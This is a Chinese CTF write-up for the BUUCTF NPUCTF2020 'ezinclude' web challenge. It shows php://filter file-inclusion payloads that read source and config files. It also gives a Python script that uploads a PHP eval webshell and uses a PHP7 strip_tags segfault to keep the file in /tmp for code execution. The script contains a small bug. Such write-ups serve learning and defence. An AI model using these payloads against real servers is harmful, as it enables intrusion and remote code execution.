zoukankan      html  css  js  c++  java
  • BUUCTF[NPUCTF2020]ezinclude wp

    进入页面

    查看源码发现提示

     

     cookie处发现可疑字符,尝试放入pass参数

     

     跳转404,连上burp看响应包,发现flflflflag.php

    尝试访问flflflflag.php,发现include($_GET["file"])的提示

    使用伪协议读取源码

    Payload:

    f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=index.php

     

    f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

     

    ③f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=config.php

     

    读源码之后知道了出题人想要girlfriendinclude存在利用点,但是正则过滤了伪协议之后就不能用伪协议写马了,这里可以用php7 segment fault特性:
    php://filter/string.strip_tags=/etc/passwd
    php执行过程中出现 Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除

     

    脚本:

    import requests
    from io import BytesIO
    import re
    payload = "<?php eval($_POST[a]);?>"
    file_data={
       'file': BytesIO(payload.encode())
    }
    url="http://f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
    try:
       r=requests.post(url=url,files=file_data,allow_redirects=False)
    except:
            print(1)

    print(session)

     

    打开dir.php发现已经成功写入马了

    payload:/flflflflag.php?file=/tmp/phpX5gA3,post:a=phpinfo();在phpinfo中找到flag

     

    参考:

    https://blog.csdn.net/weixin_43610673/article/details/105898440

     

  • 相关阅读:
    linux c/c++ 获取文件大小
    android 打开各种文件(setDataAndType)
    Android framework系统默认设置修改
    android的 root权限
    [Power]待机电流问题,如何查找wakelock
    Android.mk for your own module
    通过adb 发送广播
    ubuntu下minicom的安装及使用
    ubuntu 下使用 putty 调试
    Android平台Overlay机制
  • 原文地址:https://www.cnblogs.com/Yhck/p/13621000.html
Copyright © 2011-2022 走看看